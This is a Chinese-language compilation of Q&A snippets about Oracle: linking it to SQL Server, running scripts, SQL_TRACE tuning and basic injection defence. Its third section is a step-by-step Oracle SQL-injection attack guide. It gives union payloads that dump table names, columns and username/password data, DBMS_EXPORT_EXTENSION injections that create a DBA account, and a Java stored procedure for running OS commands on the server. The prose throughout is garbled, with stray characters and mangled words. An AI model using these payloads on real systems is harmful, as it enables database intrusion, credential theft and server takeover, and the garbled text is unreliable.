㈠ 怎樣將ORACLE中的數據轉入sql SERVER,並每天更新
以SQL Server 2000為例說明SQL Server到Oracle連接伺服器的具體實現過程。
1.要求pc機上安裝oralce客戶端軟體和sqlserver2000軟體。
2.客戶端的配置tnsnames.ora文件,配置所要連接的資料庫伺服器(windows,unix等平台均可以)
eg:tnsnames.ora
......
TEST =
(DESCRIPTION =
(ADDRESS_LIST =
(ADDRESS = (PROTOCOL = TCP)(HOST = 10.1.11.90)(PORT = 1521))
)
(CONNECT_DATA =
(sid = blue)
(SERVER = DEDICATED)
)
)
......
3.配置windows的ODBC數據源:
開始菜單—》設置—》管理工具—》數據源(ODBC)—》進入配置用戶DSN或者系統DSN均可以:添加—》選擇Microsoft ODBC for oracle—》自定義數據源名稱(最好跟tns中連接串同名!)返穗坦—》伺服器名稱(必填!填寫tns文件中的連接串名稱)—》完成。
4.配置sqlserver2000中的連接伺服器:
企業管理器—》安全性—》連接伺服器—》右鍵新建連接伺服器—》定義連接名稱; 選其他數據源; 指定程序名稱為:Microsoft OLE DB Provider for Oracle; 產品名稱可不填; 數據源指定剛才ODBC中定義好的數據源名稱; 提供程序字元串按以下格式族槐填寫:User ID=username;Password=userpasswd(或者按如下格式:UID=username;PWD=userpasswd),這里的用戶名和密碼對應所要連接的oracle資料庫中的用戶名和密碼 —》 安全性標簽頁里:設置用此安全上下文進行,並錄入oracle的資料庫用戶名和密碼—》伺服器選項標簽頁可默認漏桐—》確定。
5.准備工作全部完成啦!在sqlserver企業管理器—》安全性—》連接伺服器打開剛建好的連接伺服器—》點擊表,即可在右邊窗口看到該oracle資料庫用戶擁有的的所有表名,但在這里還並不能查看錶的記錄,這個需要在sqserver的查詢分析器中用具體sql實現!訪問表時,使用格式為: [連接伺服器名]..[ORACLE用戶].[表名]。更詳細具體的使用這里不再贅述。
㈡ oracle 資料庫如何導入 .sql文件
在sql*plus下,直接@+腳本路徑,例如:@d:\orcl2.sql
㈢ sql 注入 oracle 常見的庫有哪些
目錄:
0x00:判斷資料庫類型
0x01:獲取基本信息
0x02:得到當前庫所有表名
0x03:得到所有列名
0x04:獲取列中數據
0x05:獲取所有資料庫
0x06:森此利用ORACLE的systeminfo許可權拿下伺服器下面是正文:
判斷注入,我就不說了,大家都很熟悉了,and 1=1和and 1=2 ,當然我們這篇文章是建立在有注入的前提下,如果沒找到的話,請直接略過。
當我們找到注入點的話,一般類似與asp/php/aspx?id=1這樣此仿迅的形式,(我沒見過其他兩種,見過的都是asp+oracle這種奇葩),在後面加註釋符–,如果返回正常的話,大致可以判斷資料庫類型是mssql或者oracle,之後在根據oracle裡面所特有的表查詢
例如:and exist(select * from al) 或者and exists(select * from user_tables)
利用的原理是al表和user_tables表是oracle中的系統表
返回正常,那麼就可以肯定這是oracle了,接下來你就要抓狂了,因為oracle 注入工具不多。只能手工了。0×01 獲取基本信息1. 判斷過注入了,接下來就看有幾個欄位了,同樣可以使用oder by N 根據返回頁面判斷,這里不再贅述,由於oracle中對於欄位類型要求很嚴格,所以在union查詢之前,我們首先要確定欄位類型,可以用如下語句and 1=2 union select NULL,NULL,……,NULL from al–中間省略
然後將第一個NULL替換成1
這樣就成了and 1=2 union select 1,NULL,……,NULL from al–中間省略
如果正確,則說明在資料庫中這個欄位是數字類型,如果在當前頁有此列數據,則也會在當前頁特定位置顯示。
如果錯誤,這將其替換成and 1=2 union select 『1』,NULL,……,NULL from al–中間省略
返回正常則說明此列是字元類型了。在下文中,我們假設為數字型,並且有6個欄位
2. 接下來,我們獲取資料庫版本and 1=2 union select 1,2,(select banner from sys.v_$version where rownum=1),4,5,6 from al
這里使用了sql語句的嵌套,然後在可以顯示的位置,查詢sys.v_$version,返回banner信息大升,同時也是資料庫版本信息
3. 然後獲取操作系統版本and 1=2 union select 1,2,( select member from v$logfile where rownum=1),4,5,6 from al
3. 獲取連接資料庫的當前用戶and 1=2 union select 1,2,( select SYS_CONTEXT (『USERENV』, 『CURRENT_USER』)from al),4,5,6 from al
現在伺服器的基本信息,我們已經可以得到了,那麼接著往下走,你應該知道該干什麼了。0×02 獲取當前庫中所有表名and 1=2 union select 1,2,( select table_name from user_tables where rownum=1),4,5,6 from al
oracle中資料庫中所有的表都是保存在user_tables這張表中,這樣我們就獲得了第一個表名,假設是news 接下來再來獲取第二個and 1=2 union select 1,2,( select table_name from user_tables where rownum=1 and table_name<>』news』),4,5,6 from al
這樣就得到了第二個表名,我們假設是manage 然後以此類推就可以得到所有的表名0x03:得到所有列名and 1=2 union select 1,2,( select column_name from user_tab_columns where table_name=』manage』 and rownum=1),4,5,6 from al
系統表多了就是這種好處,什麼都可以去系統表中找到,如果再碰上盲注,那不哭了。
然後才查詢第二個表名,假設第一個得到的是usernameand 1=2 union select 1,2,( select column_name from user_tab_columns where table_name=』manage』 and rownum=1 and column_name<>』username』),4,5,6 from al
這樣第二個就出來了,架設是password 同樣是依次類推即可得到所有的列名0x04:得到列中數據
查詢指定列中數據沒什麼好說的,就像其他資料庫一樣and 1=2 union select 1,2,username,4,5,6 from manage
and 1=2 union select 1,2,password,4,5,6 from manage
這樣用戶名,密碼都可以得到了0x05:獲取所有資料庫
這種情況是存在你需要跨褲的情況下,其實一般情況下用不到,至於原因嘛,由各位看官自己體味了。
先來爆出第一個資料庫名and 1=2 union select 1,2,(select owner from all_tables where rownum=1),4,5,6 from al
然後第二個,假設第一個是current_dband 1=2 union select 1,2,(select owner from all_tables where rownum=1 and owner<>』current_user』),4,5,6 from al
然後就不用我說了吧,各位應該都很熟悉了。0x06:利用ORACLE的systeminfo許可權拿下伺服器
oracle本身經常是已system運行的,所以拿下了oracle基本拿下了伺服器了
1. 首先是添加賬戶,利用的命令如下:and 『』||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(『FOO』,'BAR』,'DBMS_OUTPUT」.PUT(:P1);EXECUTE IMMEDIATE 」DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE 」」Create USER linux IDENTIFIED BY linux」」;END;」;END;–』,'SYS』,0,』1′,0)=」—
2. 查看賬戶是否添加成功and」||(select user_id from all_users where username=』linux』)
3. 接下來是把我們建立的用戶加入到dba中and」||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(『FOO』,'BAR』,'DBMS_OUTPUT」.PUT(:P1);EXECUTE IMMEDIATE 」DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE 」」grant linux to rebeyond」」;END;」;END;–』,'SYS』,0,』1′,0)=」—
4. 之後沒得說了就是為我們建立的用戶賦予遠程連接的許可權and」||(select SYS.DBMS_EXPORT_EXTENSION.GET.DOMAIN_INDEX_TABLES(『FOO』,'BAR』,'DBMS_OUTPUT」.PUT(:P1);EXECUTE IMMEDIATE 」 DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE 」 」 GRANT CONNECT to linux 」 」;END;–』,SYS』,0,』1′,0) from alp
下面就遠程連接了,連接之後需要建立存儲過程
第一步:create or replace and compile
java souRCe named 「util」
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
第二步: www.2cto.com
create or replace
function RUN_CMz(p_cmd in varchar2) return number
as
language java
name 『util.RunThis(java.lang.String) return integer』;
第三步:
create or replace procere RC(p_cmd in varChar)
as
x number;
begin
x := RUN_CMz(p_cmd);
end;
創建完之後,就可以通過x := RUN_CMz(dos命令)來執行系統命令了
㈣ oracle資料庫 通過sql注入漏洞怎麼 update
執行 update tab where ...... 時, 執行完後, 還要點\\「提交」慶激腔\r\n你都沒執行完就中斷了,沒有點 \\「提交」按紐鉛罩的機會譽衫,\r\n當然沒提交了。\r\n注意,不要在生產系統上測試,哈哈
㈤ oracle sql
方法一:使用ed命令,關聯編輯器來虛辯祥編輯,用法可參考我最近的一個貼子:
http://..com/question/164669468.html
方法二灶前:可以用差搏sqlplus的腳本編輯命令:
c/oldchar/newchar
如:
SQL> create table state
(state_cd char(2) not null,
state_name varchar2(30));
SQL> ;
1 create table state
2 (state_cd char(2) not null,
3* state_name varchar2(30))
SQL> del 3
SQL> ;
1 create table state
2* (state_cd char(2) not null,
SQL> c/_cd/_c
2* (state_c char(2) not null,
SQL> ;
1 create table state
2* (state_c char(2) not null,
SQL> a state_name varchar2(30))
2* (state_c char(2) not null, state_name varchar2(30))
SQL> ;
1 create table state
2* (state_c char(2) not null, state_name varchar2(30))
/
詳細的學習,見:
http://download.oracle.com/docs/cd/B19306_01/server.102/b14357/ch5.htm#i1210247
㈥ Oracle怎麼防SQL注入
oracle是資料庫,不慧悶做這個事的斗碧梁空運,SQL注入是應用,也就是我們的程序要防止的。
簡單地說,我們的程序中不要用簡單的sql直接拼接從前台傳遞的參數。
㈦ oracle資料庫的sql注入攻擊有哪些
針對Oracle資料庫的SQL注入攻擊主要有下面4類:
1、SQL篡改
2、租逗廳代碼注入
3、函數調用指並注入
4.、緩弊隱沖區溢出
㈧ 如何使用oracle提供的SQL
Sql性能非常差的時候,oracle提供了SQL_TRACE來跟蹤sql的執行情況。
註:分析sql的方式比較多,還有根據優化器、sql執行計劃來分析。
SQL_TRACE能夠將sql執行的過程輸出到一個trace文件裡面。
首先設置自己定義的trace文件的標識方便查找。
alter session set tracefile_identifier='mytest';
然後對當前會話啟動SQL_TRACE,最好不要一直打開該開關,代價比較大。
alter session set sql_trace=true;
然後我們執行一條sql語句。
最後關閉該開關的狀態。
alter session set sql_trace=false;
我們可以從目錄%ORACLE_BASE%/diag/rdbms/orcl/orcl/trace(11g版本的路徑,如果是10g的應該不一樣)中
找到自己定義的trace文件。
原始的trace文件的可讀性不高,我們一般使用oracle自帶的工具,tkprof來處理這個trace文件。我們可以查看tkprof的幫助。
tkprof orcl_ora_3820_mytest.trc out.txt
我們來看剛才生成的trace文件,頭部信息描述了tkprof 的版本以及報告中一些列的含義,對於任何一條sql語句,都應該包含Parse—sql分析階段,Execute—sql執行階段,Fetch—數據提取階段,橫向的列如圖所示,包含消耗cpu時間0.00秒,操作總耗時0.04秒,物理讀取了0個數據塊,沒有發生current方式的讀取(一般在update會發生),一共提取記錄1條。
Misses in library cache ring parse: 0表示這是一次軟分析(關於硬分析和軟分析下面會接著談到)
Optimizer mode: ALL_ROWS表示oracle的優化器模式為ALL_ROWS。這也就是前面提到的另外的分析方式優化器。
下面是sql執行的具體計劃,可以看到執行計劃選擇的是全表掃描。
經過處理以後的trace文件的確比較容易看明白,它有助於我們分析sql的性能問題。
下面我通過一個trace實例來解釋一下,為什麼OLTP系統中需要變數綁定機制。
當用戶和資料庫建立連接,並發送一條sql語句以後,oracle會對該sql進行hash函數運算(hash演算法提供了一種快速存取數據的方法,它用一種演算法建立鍵值與真實值之間的對應關系,每一個真實值只能有一個鍵值,但是一個鍵值可以對應多個真實值,以方便存取),得到一個hash值,然後到共享池中尋找是否有匹配的hash值的sql存在,如果有,就直接使用該sql的執行計劃去執行sql。如果沒有,oracle就會認為這是一條新的sql語句,然後按照語法分析,語義分析,生成執行計劃,執行sql這些步驟來執行最終把結果返回給用戶。這些步驟也被成為硬分析,可以想像,如果減少硬分析,能夠大大降低資料庫花費在sql解析上的資源開銷。
我們先執行一條sql 1000次,比較綁定變數和不綁定變數的差異。得到結果以後,要計算實際的消耗,我們需要把OVERALL TOTALS FOR ALL NON-RECURSIVE STATEMENTS以及OVERALL TOTALS FOR ALL RECURSIVE STATEMENTS的時間累計起來,前者表示數據字典表的相關的信息,包含許可權控制等,後者表示sql所衍生出的遞歸sql語句的信息。可以看到綁定變數的,整條語句執行時間為0.22+0.02=0.24秒,CPU時間0.18+0.03=0.21秒,分析次數3次,執行次數1003次。而不綁定變數的時候,整條語句執行時間為0.28+1.29=1.57秒,CPU時間0.31+1.26=1.57秒,分析次數1002次,執行次數1003次。可見綁定變數的確能夠帶來更低的開銷。(如何設計資料庫中使用綁定變數也是和系統息息相關的,很多資料庫問題都是在設計以後就已經存在的)
應用級調優分析:
就通常所說的三層架構來說,中間件這一層能夠起到一個緩沖池的作用,如果並發用戶數到3000這個數量級的時候,中間件能夠控制不是所有的用戶都能直接連接到資料庫,當然這里的程序會快速響應用戶請求,保證緩沖池的隊列等待不會很久。
對應用這一級別的調優,主要集中在app程序,中間件的監控,集群配置等方面。如果是發現應用級別的問題,首先要分析是配置問題,還是程序本身的問題。如果並發用戶數很大,中間件的線程池最大值配置過小,會導致在請求隊列堆積,表現就是線程監控視圖中,請求的隊列堆積比較多,一般可以調整線程池最大值來解決。我們來看看weblogic的監控視圖。
考慮到如果為每一個請求都創建一個新線程來處理的話,那麼我們難以在系統中實現足夠數量的線程。不受限制的創建線程可能耗盡系統資源,因此引入了線程池。線程池的思想是在進程開始時創建一定數量的線程並將它們置入一個池(pool)中,線程在這個池中等待工作。當伺服器接收到一個請求時,它就從池中喚醒一個線程(如果有可用的線程),由它來處理請求。一旦線程服務完畢,它就返回線程池等待後面的工作。
線程池利用已存在的線程服務請求要比等待創建一個線程要快,並且線程池限制了線程的數量。
如果懷疑是程序的問題,我們一般可以通過java自帶的工具來幫助分析,工具很多。這里我主要提到一個jdk1.6以後附帶的jvisualvm。
我們打開jdk1.6,找到並運行jvisualvm.exe。
我們發現應用程序分為本地,遠程兩部分。本地包含本地運行的java進程,遠程能夠通過配置連接到遠程伺服器上的java進程。我們先啟動一個tomcat。可以看到本地應用程序已經打開了一個帶有tomcat以及進程標識id的菜單。雙擊打開。這里我們一般關心2個視圖。監視、線程。
其中監視視圖比較關心垃圾回收活動(顧名思義,回收那些在程序裡面不再使用到的內存空間),堆內存變化。如果在壓力測試過程中,堆內存變化是一個逐漸上漲的趨勢,並且經過多次手動gc回收,還是保持這個趨勢,說明內存泄漏的可能性很大。如果猜測有內存泄漏,可以通過分析java的heap mp。JVM (java虛擬機)記錄下問題發生時系統的運行狀態並將其存儲在轉儲(mp)文件中。Heap mp就是這樣一種文件形式。
線程視圖比較關心線程的當前執行狀態,這里可以生成另一種轉儲文件 Java mp。Java mp,也叫做 Thread mp,是 JVM 故障診斷中最重要的轉儲文件之一。JVM 的許多問題都可以使用這個文件進行診斷,其中比較典型的包括線程阻塞,CPU 使用率過高,JVM Crash,堆內存不足,和類裝載等問題。其中線程阻塞更加常見。
原文轉自:http://blog.csdn.net/xuyubotest/article/details/8158241
㈨ 怎樣把Oracle的數據導入到SQLServer2005中
怎樣把Oracle的數據導入到SQLServer2005中
例子:把Oracle的CH330300資料庫的數據導入到SQLServer2005的Temp資料庫
第一步:打開枯雹SQLServer2005資料庫-->Temp數緩敗斗據庫-->右鍵-->任務-->導入數據
第二步:如下圖點擊下一步
第三步擾磨:選擇Oracle Privider for OLE DB
㈩ oracle拼接sql字元串,怎樣防止sql注入
用replace函數替換
把 ' 替換成 空